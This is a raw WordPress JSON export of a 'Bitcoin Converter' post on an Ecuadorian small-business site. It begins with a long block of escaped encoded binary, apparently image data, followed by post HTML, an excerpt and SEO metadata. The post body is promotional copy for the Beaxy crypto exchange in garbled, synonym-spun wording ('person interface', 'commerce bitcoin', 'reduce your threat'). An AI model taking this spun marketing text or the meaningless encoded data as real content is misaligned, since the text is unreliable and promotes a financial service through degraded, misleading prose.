dzCt2N\/cflStHUAhOF27J9fEH8KhlFHqMO0mv9IIH\/uzP\/a\/7qP6RccC1D\/a\/wC6oVRR6jFS0TuN1MQyoFdl3jPI8fGR+VTC\/wDXvTeqdNvabvHTguhScsvpufxMuYxvA8IflnFUpRUNkVa05exJGyUVpClMpTTiXEJAI548qc4uolsKDhjlQH3vi70x0U\/ufsM8+Scw+o3uZSpq2rJSQoHxgDkf6Jq8o\/tvsMw2WH+mBeW2hKFOfbO3eQMFWPB4ya5UoqK6qORr1OdEtV06FqvhHWTft0xW8kdKzkjGftv\/AMit6PbxYSE\/+qkHB\/6b\/wDIrkaioVh0fyk3zt35Ovz7e0UIUkdJMZHH\/H3n\/wDp6wR7eqWxj+ik5H\/x3\/8Ar1yHRk+tDwqH\/wCkT5278nV+rPblb1RpmXpr+jL3YS07FO\/bO\/jPp4AqvmvaP8IY\/meSc5\/5xxz\/ALKqRop0cSmPiI2WXbLyy\/Y3tSGOnA0NuPzuf\/lU4x\/a7WwAFaCKgP8A4rj\/APhrnGij5Wn+URZNq9zqKL7bHuwCT03Kh87x\/wCRUa6p+03bOpMW3PM9OxbLrblfDNNz8fe3g5bKfCTwSUnJJ+7jHNUFRSrGqi+EO+ata02Sq\/a1fvgf94ipQ4+kBRSoAA\/IVHWJBZeSvyTyKT0VPpLhFdtye2O868++NBtEco2nJO6vWb8thpLSI6eOc7u\/7KZ6Kb2oXuHv+cj3+Tp\/1v8AdSaVd3ZKSgoAB5ptoo7UI235FHvB9aKT0UdqECiiinAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFF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width=\"308px\" alt=\"bitcoin calculator to usd\"\/><\/p>\n<p>Using the LTC\/BTC trading pair lets you transfer instantly between two of the earliest cryptocurrencies. Trade cryptocurrencies like ETH and BTC on Beaxy, with direct swap pairs so you can move between the two. Trade cryptocurrencies directly and effectively on Beaxy. Beaxy allows you to commerce bitcoin with comfort and peace of mind. Our person interface is customizable and may be optimized for newbies and consultants alike. Reduce your threat by storing bitcoin in our custodied wallets.<\/p>\n<p>Author: <a href=\"https:\/\/www.beaxy.com\/author\/james-messi\/\">James Messi<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Since difficulty adjustments occur every 2016 blocks, the interval in days you select for problem changes implies a rate at which new blocks are solved. The reward for solving blocks (e.g., 25 BTC) is adjusted over the time horizon in accordance with the Bitcoin protocol. The beginning difficulty is taken to be the current issue. &hellip; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[31],"tags":[],"class_list":["post-1428","post","type-post","status-publish","format-standard","hentry","category-bitcoin-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Bitcoin Converter - EcuPyme<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/ecupyme.ec\/index.php\/2022\/02\/01\/bitcoin-converter\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Bitcoin Converter - EcuPyme\" \/>\n<meta property=\"og:description\" content=\"Since difficulty adjustments occur every 2016 blocks, the interval in days you select for problem changes implies a rate at which new blocks are solved. The reward for solving blocks (e.g., 25 BTC) is adjusted over the time horizon in accordance with the Bitcoin protocol. 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